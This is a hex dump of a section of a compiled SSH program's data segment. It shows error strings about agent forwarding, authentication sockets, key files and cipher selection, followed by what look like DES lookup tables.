08072eb0  20697320 256f2c20 73686f75 6c642062   is %o, should b
08072ec0  65203034 31373737 00000000 00000000  e 041777........
08072ed0  00000000 00000000 00000000 00000000  ................
08072ee0  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072ef0  41757468 656e7469 63617469 6f6e2066  Authentication f
08072f00  6f727761 7264696e 67206469 7361626c  orwarding disabl
08072f10  65642e00 00000000 00000000 00000000  ed..............
08072f20  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072f30  4167656e 7420736f 636b6574 20637265  Agent socket cre
08072f40  6174696f 6e3a2077 726f6e67 20706172  ation: wrong par
08072f50  656e7420 64697265 63746f72 79206166  ent directory af
08072f60  74657220 63686469 7220286c 61737420  ter chdir (last
08072f70  636f6d70 6f6e656e 74206f66 20736f63  component of soc
08072f80  6b657420 6e616d65 20697320 73796d6c  ket name is syml
08072f90  696e6b3f 29000000 00000000 00000000  ink?)...........
08072fa0  4167656e 7420736f 636b6574 20637265  Agent socket cre
08072fb0  6174696f 6e206661 696c6564 3a20252e  ation failed: %.
08072fc0  31303073 00000000 00000000 00000000  100s............
08072fd0  00000000 00000000 00000000 00000000  ................
08072fe0  4167656e 7420736f 636b6574 2062696e  Agent socket bin
08072ff0  64206661 696c6564 3a20252e 31303073  d failed: %.100s
08073000  00000000 00000000 00000000 00000000  ................
08073010  00000000 00000000 00000000 00000000  ................
08073020  4167656e 7420736f 636b6574 20646972  Agent socket dir
08073030  6563746f 72792063 686f776e 20666169  ectory chown fai
08073040  6c65643a 20252e31 30307300 00000000  led: %.100s.....
08073050  00000000 00000000 00000000 00000000  ................
08073060  4167656e 7420736f 636b6574 206c6973  Agent socket lis
08073070  74656e20 6661696c 65643a20 252e3130  ten failed: %.10
08073080  3073002f 746d702f 7373682d 252e3530  0s./tmp/ssh-%.50
08073090  732f7373 682d2564 2d616765 6e742e61  s/ssh-%d-agent.a
080730a0  75746820 736f636b 65740000 00000000  uth socket......
080730b0  00000000 00000000 00000000 00000000  ................
080730c0  5761726e 696e673a 20536572 76657220  Warning: Server
080730d0  61747465 6d707465 6420616765 6e7420   attempted agent
080730e0  666f7277 61726469 6e672077 6974686f  forwarding witho
080730f0  75742063 6c69656e 74207265 71756573  ut client reques
08073100  74000000 00000000 00000000 00000000  t...............
08073110  00000000 00000000 00000000 00000000  ................
08073120  466f7277 61726469 6e672061 75746865  Forwarding authe
08073130  6e746963 6174696f 6e20636f 6e6e6563  ntication connec
08073140  74696f6e 2e000000 00000000 00000000  tion............
08073150  00000000 00000000 00000000 00000000  ................
08073160  61757468 656e7469 63617469 6f6e2061  authentication a
08073170  67656e74 20636f6e 6e656374 696f6e00  gent connection.
08073180  25317800 25327800 62756666 65725f70  %1x.%2x.buffer_p
08073190  75745f6d 705f696e 74006275 66617578  ut_mp_int.bufaux
```

```
080731a0  2e63006f 69203d3d 20282862 69747320   .c.oi == ((bits
080731b0  2b203729 202f2038 29002530 32780000   + 7) / 8).%02x..
080731c0  52656365 69766564 20706163 6b657420   Received packet
080731d0  77697468 20626164 20737472 696e6720   with bad string
080731e0  6c656e67 74682025 64000000 00000000   length %d.......
080731f0  00000000 00000000 00000000 00000000   ................
08073200  5353485f 41555448 5f534f43 4b000000   SSH_AUTH_SOCK...
08073210  00000000 00000000 00000000 00000000   ................
08073220  496e7661 6c696420 252e3230 30732060   Invalid %.200s `
08073230  252e3130 3073272c 20697420 73686f75   %.100s', it shou
08073240  6c642063 6f6e7461 696e2061 74206c65   ld contain at le
08073250  61737420 6f6e6520 2f2e0000 00000000   ast one /.......
08073260  50617265 6e742064 69726563 746f7279   Parent directory
08073270  20737461 74206661 696c6564 2060252e    stat failed `%.
08073280  31303073 27000000 00000000 00000000   100s'...........
08073290  00000000 00000000 00000000 00000000   ................
080732a0  43616e6e 6f742073 74617420 61757468   Cannot stat auth
080732b0  656e7469 63617469 6f6e2073 6f636b65   entication socke
080732c0  74206469 72656374 6f727920 252e3130   t directory %.10
080732d0  3073002e 00737461 74202e20 6661696c   0s...stat . fail
080732e0  65640057 726f6e67 20646972 6563746f   ed.Wrong directo
080732f0  72792061 66746572 20636864 69720000   ry after chdir..
08073300  496e7661 6c696420 6f776e65 72206f66   Invalid owner of
08073310  20617574 68656e74 69636174 696f6e20    authentication
08073320  736f636b 65742064 69726563 746f7279   socket directory
08073330  20252e31 30307300 00000000 00000000    %.100s........
08073340  496e7661 6c696420 6d6f6465 7320666f   Invalid modes fo
08073350  72206175 7468656e 74696361 74696f6e   r authentication
08073360  20736f63 6b657420 64697265 63746f72    socket director
08073370  7920252e 31303073 00000000 00000000   y %.100s........
08073380  43616e6e 6f742066 696e6420 61757468   Cannot find auth
08073390  656e7469 63617469 6f6e2073 6f636b65   entication socke
080733a0  7420252e 31303073 2f252e31 30307300   t %.100s/%.100s.
080733b0  00000000 00000000 00000000 00000000   ................
080733c0  41757468 656e7469 63617469 6f6e2073   Authentication s
080733d0  6f636b65 74206025 2e313030 73272069   ocket `%.100s' i
080733e0  73207379 6d6c696e 6b002573 2d256400   s symlink.%s-%d.
080733f0  00000000 00000000 00000000 00000000   ................
08073400  43616e6e 6f74206d 616b6520 74656d70   Cannot make temp
08073410  6f726172 79206175 7468656e 74696361   orary authentica
08073420  74696f6e 20736f63 6b657420 64697265   tion socket dire
08073430  63746f72 7920252e 31303073 00000000   ctory %.100s....
08073440  43616e6e 6f742073 74617420 6e65776c   Cannot stat newl
08073450  79206372 65617465 64207465 6d706f72   y created tempor
08073460  61727920 61757468 656e7469 63617469   ary authenticati
08073470  6f6e2073 6f636b65 74206469 72656374   on socket direct
08073480  6f727920 252e3130 30730000 00000000   ory %.100s......
08073490  00000000 00000000 00000000 00000000   ................
080734a0  43616e6e 6f742073 74617420 2e20696e   Cannot stat . in
080734b0  206e6577 6c792063 72656174 65642074    newly created t
080734c0  656d706f 72617279 20617574 68656e74   emporary authent
080734d0  69636174 696f6e20 736f636b 65742064   ication socket d
080734e0  69726563 746f7279 20252e31 30307300   irectory %.100s.
080734f0  2e2e0000 00000000 00000000 00000000   ................
08073500  43616e6e 6f742073 74617420 2e2e2069   Cannot stat .. i
08073510  6e206e65 776c7920 63726561 74656420   n newly created
08073520  74656d70 6f726172 79206175 7468656e   temporary authen
08073530  74696361 74696f6e 20736f63 6b657420   tication socket
08073540  64697265 63746f72 7920252e 31303073   directory %.100s
08073550  00000000 00000000 00000000 00000000   ................
08073560  4167656e 74207061 72656e74 20646972   Agent parent dir
08073570  6563746f 72792069 73206e6f 74207374   ectory is not st
08073580  69636b79 2c206d6f 64652069 7320256f   icky, mode is %o
08073590  20697420 73686f75 6c642062 65203034    it should be 04
080735a0  31373737 00000000 00000000 00000000   1777............
080735b0  00000000 00000000 00000000 00000000   ................
080735c0  57726f6e 67207061 72656e74 20646972   Wrong parent dir
080735d0  6563746f 72792061 66746572 20636864   ectory after chd
080735e0  69722074 6f207465 6d702064 69726563   ir to temp direc
080735f0  746f7279 00000000 00000000 00000000   tory............
08073600  48617264 206c696e 6b20746f 20617574   Hard link to aut
08073610  6820736f 636b6574 20666169 6c656400   h socket failed.
08073620  53746174 20746f20 68617264 206c696e   Stat to hard lin
08073630  6b206f66 20617574 68656e74 69636174   k of authenticat
08073640  696f6e20 736f636b 65742066 61696c65   ion socket faile
08073650  64000000 00000000 00000000 00000000   d...............
08073660  48617264 206c696e 6b20616e 64206f72   Hard link and or
08073670  69676e61 6c20736f 636b6574 20617265   ignal socket are
08073680  206e6f74 2073616d 6500536f 636b6574    not same.Socket
08073690  20666169 6c656400 2f000000 00000000    failed./.......
080736a0  436f6e6e 65637469 6f6e2074 6f206175   Connection to au
080736b0  7468656e 74696361 74696f6e 20616765   thentication age
080736c0  6e74206f 70656e65 642e004e 6f206167   nt opened..No ag
080736d0  656e742e 00777269 74652061 5574682d   ent..write auth-
```

```
080736e0   3e66643a 20252e31 30307300 72656164   >fd: %.100s.read
080736f0   20617574 682d3e66 643a2025 2e313030    auth->fd: %.100
08073700   73000000 00000000 00000000 00000000   s...............
08073710   00000000 00000000 00000000 00000000   ................
08073720   41757468 656e7469 63617469 6f6e2072   Authentication r
08073730   65706c79 206d6573 73616765 20746f6f   eply message too
08073740   206c6f6e 673a2025 640a0000 00000000    long: %d.......
08073750   00000000 00000000 00000000 00000000   ................
08073760   496e636f 6d706c65 74652061 75746865   Incomplete authe
08073770   6e746963 6174696f 6e207265 706c792e   ntication reply.
08073780   00000000 00000000 00000000 00000000   ................
08073790   00000000 00000000 00000000 00000000   ................
080737a0   42616420 61757468 656e7469 63617469   Bad authenticati
080737b0   6f6e2072 65706c79 206d6573 73616765   on reply message
080737c0   20747970 653a2025 64000000 00000000    type: %d.......
080737d0   00000000 00000000 00000000 00000000   ................
080737e0   546f6f20 6d616e79 20696465 6e746974   Too many identit
080737f0   69657320 696e2061 75746865 6e746963   ies in authentic
08073800   6174696f 6e207265 706c793a 2025640a   ation reply: %d.
08073810   00000000 00000000 00000000 00000000   ................
08073820   436f6d70 61746962 696c6974 79207769   Compatibility wi
08073830   74682073 73682070 726f746f 636f6c20   th ssh protocol
08073840   76657273 696f6e20 312e3020 6e6f206c   version 1.0 no l
08073850   6f6e6765 72207375 70706f72 7465642e   onger supported.
08073860   00000000 00000000 00000000 00000000   ................
08073870   00000000 00000000 00000000 00000000   ................
08073880   4572726f 72207772 6974696e 6720746f   Error writing to
08073890   20617574 68656e74 69636174 696f6e20    authentication
080738a0   736f636b 65742e00 00000000 00000000   socket..........
080738b0   00000000 00000000 00000000 00000000   ................
080738c0   4572726f 72207265 6164696e 67207265   Error reading re
080738d0   73706f6e 7365206c 656e6774 68206672   sponse length fr
080738e0   6f6d2061 75746865 6e746963 6174696f   om authenticatio
080738f0   6e20736f 636b6574 2e000000 00000000   n socket........
08073900   41757468 656e7469 63617469 6f6e2072   Authentication r
08073910   6573706f 6e736520 746f6f20 6c6f6e67   esponse too long
08073920   3a202564 00000000 00000000 00000000   : %d............
08073930   00000000 00000000 00000000 00000000   ................
08073940   4572726f 72207265 6164696e 67207265   Error reading re
08073950   73706f6e 73652066 726f6d20 61757468   sponse from auth
08073960   656e7469 63617469 6f6e2073 6f636b65   entication socke
08073970   742e0000 00000000 00000000 00000000   t...............
08073980   4167656e 74206164 6d697474 65642066   Agent admitted f
08073990   61696c75 72652074 6f206175 7468656e   ailure to authen
080739a0   74696361 74652075 73696e67 20746865   ticate using the
080739b0   206b6579 2e000000 00000000 00000000    key............
080739c0   42616420 61757468 656e7469 63617469   Bad authenticati
080739d0   6f6e2072 6573706f 6e73653a 20256400   on response: %d.
080739e0   41646420 6964656e 74697479 20726573   Add identity res
080739f0   706f6e73 6520746f 6f206c6f 6e673a20   ponse too long:
08073a00   25640000 00000000 00000000 00000000   %d..............
08073a10   00000000 00000000 00000000 00000000   ................
08073a20   42616420 72657370 6f6e7365 20746f20   Bad response to
08073a30   61646420 6964656e 74697479 2066726f   add identity fro
08073a40   6d206175 7468656e 74696361 74696f6e   m authentication
08073a50   20616765 6e743a20 25640000 00000000    agent: %d......
08073a60   52656d6f 76652069 64656e74 69747920   Remove identity
08073a70   72657370 6f6e7365 20746f6f 206c6f6e   response too lon
08073a80   673a2025 64000000 00000000 00000000   g: %d...........
08073a90   00000000 00000000 00000000 00000000   ................
08073aa0   42616420 72657370 6f6e7365 20746f20   Bad response to
08073ab0   72656d6f 76652069 64656e74 69747920   remove identity
08073ac0   66726f6d 20617574 68656e74 69636174   from authenticat
08073ad0   696f6e20 6167656e 743a2025 64000000   ion agent: %d...
08073ae0   00000000 00000000 00000000 00000000   ................
08073af0   00000000 00000000 00000000 00000000   ................
08073b00   53534820 50524956 41544520 4b455920   SSH PRIVATE KEY
08073b10   46494c45 20464f52 4d415420 312e310a   FILE FORMAT 1.1.
08073b20   00000000 00000000 00000000 00000000   ................
08073b30   00000000 00000000 00000000 00000000   ................
08073b40   57726974 6520746f 206b6579 2066696c   Write to key fil
08073b50   6520252e 32303073 20666169 6c65643a   e %.200s failed:
08073b60   20252e31 30307300 00000000 00000000    %.100s.........
08073b70   00000000 00000000 00000000 00000000   ................
08073b80   41757468 656e7469 63617469 6f6e2066   Authentication f
08073b90   696c6520 746f6f20 6269673a 20252e32   ile too big: %.2
08073ba0   30307300 00000000 00000000 00000000   00s.............
08073bb0   00000000 00000000 00000000 00000000   ................
08073bc0   52656164 2066726f 6d206b65 79206669   Read from key fi
08073bd0   6c652025 2e323030 73206661 696c6564   le %.200s failed
08073be0   3a20252e 31303073 00426164 206b6579   : %.100s.Bad key
08073bf0   2066696c 6520252e 32303073 2e000000    file %.200s....
08073c00   556e7375 70706f72 74656420 63697068   Unsupported ciph
08073c10   65722025 2e313030 73207573 65642069   er %.100s used i
```

```
08073c20  6e206b65 79206669 6c652025 2e323030   n key file %.200
08073c30  732e0000 00000000 00000000 00000000   s...............
08073c40  42616420 70617373 70687261 73652073   Bad passphrase s
08073c50  7570706c 69656420 666f7220 6b657920   upplied for key
08073c60  66696c65 20252e32 3030732e 00000000   file %.200s.....
08073c70  00000000 00000000 00000000 00000000   ................
08073c80  42616420 7075626c 6963206b 65792c20   Bad public key,
08073c90  504f5445 4e544941 4c204252 45414b2d   POTENTIAL BREAK-
08073ca0  494e2041 5454454d 50542100 7273615f   IN ATTEMPT!.rsa_
08073cb0  7075626c 69635f65 6e637279 70740072   public_encrypt.r
08073cc0  7361676c 75652e63 006c656e 203e3d20   saglue.c.len >=
08073cd0  696e7075 745f6c65 6e202b20 33000000   input_len + 3...
08073ce0  42616420 72657375 6c742066 726f6d20   Bad result from
08073cf0  7273615f 70726976 6174655f 64656372   rsa_private_decr
08073d00  79707400 00000000 00000000 00000000   ypt.............
08073d10  00000000 00000000 00000000 00000000   ................
08073d20  72657365 72766564 00626c6f 77666973   reserved.blowfis
08073d30  68006172 63666f75 72007573 65642074   h.arcfour.used t
08073d40  6f206265 20747373 00336465 73006465   o be tss.3des.de
08073d50  73006964 6561006e 6f6e6500 00000000   s.idea.none.....
08073d60  63697068 65725f6e 616d653a 20626164   cipher_name: bad
08073d70  20636970 68657220 6e756d62 65723a20    cipher number:
08073d80  25640000 00000000 00000000 00000000   %d..............
08073d90  00000000 00000000 00000000 00000000   ................
08073da0  41726366 6f757220 63697068 65722069   Arcfour cipher i
08073db0  73206469 7361626c 65642069 6e207468   s disabled in th
08073dc0  69732068 6f73742c 20757369 6e672062   is host, using b
08073dd0  6c6f7766 69736820 63697068 65722069   lowfish cipher i
08073de0  6e737465 61640000 00000000 00000000   nstead..........
08073df0  00000000 00000000 00000000 00000000   ................
08073e00  4b657920 6c656e67 74682025 64206973   Key length %d is
08073e10  20696e73 75666669 6369656e 7420666f    insufficient fo
08073e20  72204944 45412e00 00000000 00000000   r IDEA..........
08073e30  00000000 00000000 00000000 00000000   ................
08073e40  4b657920 6c656e67 74682025 64206973   Key length %d is
08073e50  20696e73 75666669 6369656e 7420666f    insufficient fo
08073e60  72203344 45532e00 00000000 00000000   r 3DES..........
08073e70  00000000 00000000 00000000 00000000   ................
08073e80  4b657920 6c656e67 74682025 64206973   Key length %d is
08073e90  20696e73 75666669 6369656e 7420666f    insufficient fo
08073ea0  7220426c 6f776669 73680000 00000000   r Blowfish......
08073eb0  00000000 00000000 00000000 00000000   ................
08073ec0  63697068 65725f73 6574745f 6b65793a   cipher_set_key:
08073ed0  756e6b6e 6f776e20 63697068 65723a20   unknown cipher:
08073ee0  25640000 00000000 00000000 00000000   %d..............
08073ef0  00000000 00000000 00000000 00000000   ................
08073f00  63697068 65725f65 6e637279 70743a20   cipher_encrypt:
08073f10  756e6b6e 6f776e20 63697068 65723a20   unknown cipher:
08073f20  25640000 00000000 00000000 00000000   %d..............
08073f30  00000000 00000000 00000000 00000000   ................
08073f40  63697068 65725f64 65637279 70743a20   cipher_decrypt:
08073f50  756e6b6e 6f776e20 63697068 65723a20   unknown cipher:
08073f60  25640000 00000000 00000000 00000000   %d..............
08073f70  00000000 00000000 00000000 00000000   ................
08073f80  00000000 10000000 00000020 10000020   ..........  ...
08073f90  00000100 10000100 00000120 10000120   ..........  ...
08073fa0  00080000 10080000 00080020 10080020   ..........  ...
08073fb0  00080100 10080100 00080120 10080120   ..........  ...
08073fc0  20000000 30000000 20000020 30000020    ...0... .. 0..
08073fd0  20000100 30000100 20000120 30000120    ...0... .. 0..
08073fe0  20080000 30080000 20080020 30080020    ...0... .. 0..
08073ff0  20080100 30080100 20080120 30080120    ...0... .. 0..
08074000  00000800 10000800 00000820 10000820   ..........  ...
08074010  00000900 10000900 00000920 10000920   ..........  ...
08074020  00080800 10080800 00080820 10080820   ..........  ...
08074030  00080900 10080900 00080920 10080920   ..........  ...
08074040  20000800 30000800 20000820 30000820    ...0... .. 0..
08074050  20000900 30000900 20000920 30000920    ...0... .. 0..
08074060  20080800 30080800 20080820 30080820    ...0... .. 0..
08074070  20080900 30080900 20080920 30080920    ...0... .. 0..
08074080  00000000 00000002 00200000 00200002   ........ ... ..
08074090  00002000 00002002 00202000 00202002   .. ... ..  .. ..
080740a0  04000000 04000002 04200000 04200002   ........ ... ..
080740b0  04002000 04002002 04202000 04202002   .. ... ..  .. ..
080740c0  00040000 00040002 00240000 00240002   .........$...$..
080740d0  00042000 00042002 00242000 00242002   .. ... ..$ ..$ .
080740e0  04040000 04040002 04240000 04240002   .........$...$..
080740f0  04042000 04042002 04242000 04242002   .. ... ..$ ..$ .
08074100  00000010 00000012 00200010 00200012   ........ ... ..
08074110  00002010 00002012 00202010 00202012   .. ... ..  .. .
08074120  04000010 04000012 04200010 04200012   ........ ... ..
08074130  04002010 04002012 04202010 04202012   .. ... ..  .. .
08074140  00040010 00040012 00240010 00240012   .........$...$..
08074150  00042010 00042012 00242010 00242012   .. ... ..$ ..$ .
```

```
08074160   04040010 04040012 04240010 04240012   .........$...$..
08074170   04042010 04042012 04242010 04242012   .. ... ..$ ..$ .
08074180   00000000 01000000 00000400 01000400   ................
08074190   00000001 01000001 00000401 01000401   ................
080741a0   02000000 03000000 02000400 03000400   ................
080741b0   02000001 03000001 02000401 03000401   ................
080741c0   00020000 01020000 00020400 01020400   ................
080741d0   00020001 01020001 00020401 01020401   ................
080741e0   02020000 03020000 02020400 03020400   ................
080741f0   02020001 03020001 02020401 03020401   ................
08074200   00000008 01000008 00000408 01000408   ................
08074210   00000009 01000009 00000409 01000409   ................
08074220   02000008 03000008 02000408 03000408   ................
08074230   02000009 03000009 02000409 03000409   ................
08074240   00020008 01020008 00020408 01020408   ................
08074250   00020009 01020009 00020409 01020409   ................
08074260   02020008 03020008 02020408 03020408   ................
08074270   02020009 03020009 02020409 03020409   ................
08074280   00000000 00001000 00010000 00011000   ................
08074290   08000000 08001000 08010000 08011000   ................
080742a0   00100000 00101000 00110000 00111000   ................
080742b0   08100000 08101000 08110000 08111000   ................
080742c0   00000004 00001004 00010004 00011004   ................
080742d0   08000004 08001004 08010004 08011004   ................
080742e0   00100004 00101004 00110004 00111004   ................
080742f0   08100004 08101004 08110004 08111004   ................
08074300   00000200 00001200 00010200 00011200   ................
08074310   08000200 08001200 08010200 08011200   ................
08074320   00100200 00101200 00110200 00111200   ................
08074330   08100200 08101200 08110200 08111200   ................
08074340   00000204 00001204 00010204 00011204   ................
08074350   08000204 08001204 08010204 08011204   ................
08074360   00100204 00101204 00110204 00111204   ................
08074370   08100204 08101204 08110204 08111204   ................
08074380   00000000 00000010 00000100 00000110   ................
08074390   04000000 04000010 04000100 04000110   ................
080743a0   00000020 00000030 00000120 00000130   ... ...0... ...0
080743b0   04000020 04000030 04000120 04000130   ... ...0... ...0
080743c0   00001000 00001010 00001100 00001110   ................
080743d0   04001000 04001010 04001100 04001110   ................
080743e0   00001020 00001030 00001120 00001130   ... ...0... ...0
080743f0   04001020 04001030 04001120 04001130   ... ...0... ...0
08074400   00100000 00100010 00100100 00100110   ................
08074410   04100000 04100010 04100100 04100110   ................
08074420   00100020 00100030 00100120 00100130   ... ...0... ...0
08074430   04100020 04100030 04100120 04100130   ... ...0... ...0
08074440   00101000 00101010 00101100 00101110   ................
08074450   04101000 04101010 04101100 04101110   ................
08074460   00101020 00101030 00101120 00101130   ... ...0... ...0
08074470   04101020 04101030 04101120 04101130   ... ...0... ...0
08074480   00000000 00000008 08000000 08000008   ................
08074490   00040000 00040008 08040000 08040008   ................
080744a0   00000200 00000208 08000200 08000208   ................
080744b0   00040200 00040208 08040200 08040208   ................
080744c0   01000000 01000008 09000000 09000008   ................
080744d0   01040000 01040008 09040000 09040008   ................
080744e0   01000200 01000208 09000200 09000208   ................
080744f0   01040200 01040208 09040200 09040208   ................
08074500   00000002 0000000a 08000002 0800000a   ................
08074510   00040002 0004000a 08040002 0804000a   ................
08074520   00000202 0000020a 08000202 0800020a   ................
08074530   00040202 0004020a 08040202 0804020a   ................
08074540   01000002 0100000a 09000002 0900000a   ................
08074550   01040002 0104000a 09040002 0904000a   ................
08074560   01000202 0100020a 09000202 0900020a   ................
08074570   01040202 0104020a 09040202 0904020a   ................
08074580   00000000 00010000 00000800 00010800   ................
08074590   00000001 00010001 00000801 00010801   ................
080745a0   10000000 10010000 10000800 10010800   ................
080745b0   10000001 10010001 10000801 10010801   ................
080745c0   00002000 00012000 00002800 00012800   .. ... ...(...(.
080745d0   00002001 00012001 00002801 00012801   .. ... ...(...(.
080745e0   10002000 10012000 10002800 10012800   .. ... ...(...(.
080745f0   10002001 10012001 10002801 10012801   .. ... ...(...(.
08074600   00020000 00030000 00020800 00030800   ................
08074610   00020001 00030001 00020801 00030801   ................
08074620   10020000 10030000 10020800 10030800   ................
08074630   10020001 10030001 10020801 10030801   ................
08074640   00022000 00032000 00022800 00032800   .. ... ...(...(.
08074650   00022001 00032001 00022801 00032801   .. ... ...(...(.
08074660   10022000 10032000 10022800 10032800   .. ... ...(...(.
08074670   10022001 10032001 10022801 10032801   .. ... ...(...(.
08074680   00000000 00000004 00000400 00000404   ................
08074690   02000000 02000004 02000400 02000404   ................
```

```
080746a0   00200000 00200004 00200400 00200404    .  ...  ...  ...  ..
080746b0   02200000 02200004 02200400 02200404    .  ...  ...  ...  ..
080746c0   20000000 20000004 20000400 20000404     ...  ...  ...  ..
080746d0   22000000 22000004 22000400 22000404    "...  "...  "...  "...
080746e0   20200000 20200004 20200400 20200404     ..   ..    ..   ..
080746f0   22200000 22200004 22200400 22200404    "  .."  .."  .." ..
08074700   00080000 00080004 00080400 00080404    ................
08074710   02080000 02080004 02080400 02080404    ................
08074720   00280000 00280004 00280400 00280404    .(...(...(...(..
08074730   02280000 02280004 02280400 02280404    .(...(...(...(..
08074740   20080000 20080004 20080400 20080404     ...  ...  ...  ...
08074750   22080000 22080004 22080400 22080404    "...  "...  "...  "...
08074760   20280000 20280004 20280400 20280404     (...  (...  (...  (..
08074770   22280000 22280004 22280400 22280404    "(.." (.." (.." (..
08074780   00028200 00000200 00008080 00028280    ................
08074790   00008000 00020280 00000280 00008080    ................
080747a0   00020280 00028200 00008200 00020080    ................
080747b0   00028080 00008000 00000000 00000280    ................
080747c0   00000200 00000080 00028000 00020200    ................
080747d0   00028280 00008200 00020080 00028000    ................
080747e0   00000080 00020000 00020200 00008280    ................
080747f0   00020000 00028080 00008280 00000000    ................
08074800   00000000 00028280 00028000 00000200    ................
08074810   00028200 00000200 00020080 00028000    ................
08074820   00008280 00020000 00020200 00008080    ................
08074830   00020280 00000080 00008080 00008200    ................
08074840   00028280 00020200 00008200 00028080    ................
08074850   00008000 00020080 00000280 00000000    ................
08074860   00000200 00008000 00028080 00028200    ................
08074870   00000080 00008280 00020000 00020280    ................
08074880   04200410 00000000 00200400 00000410    .  .......  ...
08074890   04000010 04200000 00200010 00200400    .....  ...   ...  ..
080748a0   00200000 04000410 04000000 00200010    .  ...........  ..
080748b0   04000400 00200410 00000410 04000000    .....  .........
080748c0   00000400 04200010 04000410 00200000    .....  .........  ..
080748d0   04200400 00000010 00000000 04000000    .  ...........
080748e0   04200010 04200400 00200410 04000010    .  ...  ...  ...  ..
080748f0   00000010 00000400 04200000 04200410    .......  ...  ...  ..
08074900   04000400 00200410 00200010 04200400    .....  ...  ...  ..
08074910   04200410 04000400 04000010 00000000    .  ............
08074920   00000010 04200000 00000400 04000410    .....  .........
08074930   00200000 00000010 04200400 04200010    .  .......  ...  ..
08074940   00200410 00200000 00000000 04000010    .  ...  .........
08074950   04000000 04200410 00200400 00000410    .....  ...  ...  ..
08074960   04000410 00000400 04200000 00200010    .........  ...  ..
08074970   04200010 04000000 00200400 00200400    .  ...........  ..
08074980   00000041 40000101 40000000 40000041    ...A@...@...@..A
08074990   00000140 00000001 40000041 40000100    ...@.....@..A@...
080749a0   40000001 00000100 00000101 00000040    @.............@
080749b0   40000141 40000040 00000040 00000141    @..A@..@...@...A
080749c0   00000000 00000140 40000101 40000000    .......@@...@...
080749d0   40000040 40000141 00000100 00000041    @..@@..A.......A
080749e0   00000141 40000001 40000140 00000101    ...A@...@..@....
080749f0   40000100 00000000 00000001 40000140    @...........@..@
08074a00   40000101 40000000 00000040 00000100    @...@.......@....
08074a10   40000040 00000140 00000101 40000041    @..@...@....@..A
08074a20   00000000 40000101 40000100 00000141    ....@...@......A
08074a30   00000140 00000001 40000141 00000040    ...@.....@..A...@
08074a40   40000140 00000041 00000001 40000041    @..@...A....@..A
08074a50   00000100 40000001 40000041 40000100    ....@...@..A@...
08074a60   40000001 00000000 00000141 40000040    @.........A@..@
08074a70   00000041 40000140 40000000 00000101    ...A@..@@.......
08074a80   02041000 00040004 02000000 02041004    ................
08074a90   00000000 00001004 02040004 02001000    ................
08074aa0   00041004 02000004 00000004 02040000    ................
08074ab0   02000004 02041000 00001000 00000004    ................
08074ac0   02001004 00041000 00040000 02000000    ................
08074ad0   00041000 02040004 00001004 00040000    ................
08074ae0   02040000 00000000 02001000 00041004    ................
08074af0   00040004 02001004 02041004 00001000    ................
08074b00   02001004 02040000 00001000 02000004    ................
08074b10   00041000 00040004 02000000 00001004    ................
08074b20   02040004 00000000 00040000 02001000    ................
08074b30   00000000 02001004 00041004 00040000    ................
08074b40   00000004 02041004 02041000 00001004    ................
08074b50   02041004 02000000 00040004 02041000    ................
08074b60   02001000 00041000 00001004 02040004    ................
08074b70   02040000 00000004 02000004 00041004    ................
08074b80   00000002 00400000 00010000 08410002    .....@........A..
08074b90   08400002 00010002 08410000 00400002    .@.......A...@..
08074ba0   00400000 08000000 08000002 00410000    .@...........A..
08074bb0   08010002 08400002 00410002 00000000    .....@...A......
08074bc0   00410000 00000002 08400000 08010000    .A.......@......
08074bd0   00010002 08410000 00000000 08000002    .....A..........
```

```
08074be0    08000000 08010002 08410002 08400000    .........A...@..
08074bf0    00400002 00010000 08010000 00410002    .@...........A..
08074c00    00410002 08010002 08400000 00400002    .A.......@...@..
08074c10    00400000 08000000 08000002 00010002    .@..............
08074c20    00000002 00410000 08410002 00000000    .....A...A......
08074c30    08410000 00000002 00010000 08400000    .A...........@..
08074c40    08010002 00010000 00000000 08410002    .............A..
08074c50    08400002 00410002 08010000 00400000    .@...A.......@..
08074c60    00410000 08400002 00010002 08010000    .A...@..........
08074c70    08000000 08410000 00400000 08000002    .....A...@......
08074c80    10000020 10000800 00000000 00080820    ... ...........
08074c90    10000800 00080000 10080020 00000800    ........... ....
08074ca0    10080020 10080800 00080800 00000020    ... ........... 
08074cb0    00080020 10000020 00000820 10080800    ... ... ... ....
08074cc0    00000800 10080020 10000820 00000000    ....... ... ....
08074cd0    00080020 10000000 00080820 10000820    ... ....... ... 
08074ce0    10080820 00000820 00000020 10080000    ... ... ... ....
08074cf0    10000000 00080800 10080800 00080020    ............... 
08074d00    10080000 00000020 00080020 10080800    ....... ... ....
08074d10    00080820 10000800 00000000 00080020    ... ........... 
08074d20    00000020 00080000 10000820 00000800     ... ... ... ...
08074d30    10000800 10080820 00080800 10000000    ....... ... ....
08074d40    10080820 00080800 00000000 10080020    ... ........... 
08074d50    10000020 00000820 10080800 00000000    ... ... ... ....
08074d60    00080000 10000020 10080020 00080820    ... ... ... ... 
08074d70    00000820 10080000 10000000 10000820    ... ... ... ... 
08074d80    00100000 80000000 80004000 01004000    ..........@...@.
08074d90    81104000 01100000 80100000 00000000    ..@.............
08074da0    00004000 81004000 81000000 00104000    ..@...@.......@.
08074db0    01000000 80104000 00104000 81000000    ......@...@.....
08074dc0    81004000 00100000 01100000 81104000    ..@...........@.
08074dd0    00000000 80004000 01004000 80100000    ......@...@.....
08074de0    01104000 81100000 80104000 01000000    ..@...@...@.....
08074df0    81100000 01104000 80000000 00004000    ......@.......@.
08074e00    81100000 00104000 01104000 81000000    ......@...@.....
08074e10    00100000 80000000 00004000 01104000    ..........@...@.
08074e20    81004000 81100000 80100000 00000000    ..@.............
08074e30    80000000 01004000 01000000 80004000    ......@.......@.
08074e40    00000000 81004000 80004000 80100000    ......@...@.....
08074e50    81000000 00100000 81104000 00004000    ..........@...@.
08074e60    80104000 01000000 01100000 81104000    ..@...........@.
08074e70    01004000 80104000 00104000 01100000    ..@...@...@.....
08074e80    20002008 00802008 20800000 00000000     . ... ... ......
08074e90    00800008 20002000 00002008 20802008    .... .. ... .  .
08074ea0    20000000 00000008 00802000 20800000     ......... ... ..
08074eb0    20802000 20800008 20000008 00002000     . .. .. ... ... .
08074ec0    00800000 20802000 20002000 00800008    .... .. .. .....
08074ed0    20802008 20000008 00000000 00802000     .  .. .........  .
08074ee0    00000000 00002000 20800008 20002008    ...... .. ... .  .
08074ef0    00002000 00800000 00802008 20000000    .. ....... .. ..
08074f00    00002000 00800000 20000008 20802008    .. ..... .. .  .
08074f10    20800000 00000000 00000000 00802000     ............. .
08074f20    20002008 20800008 00800008 20002000     . .. .. .... ..
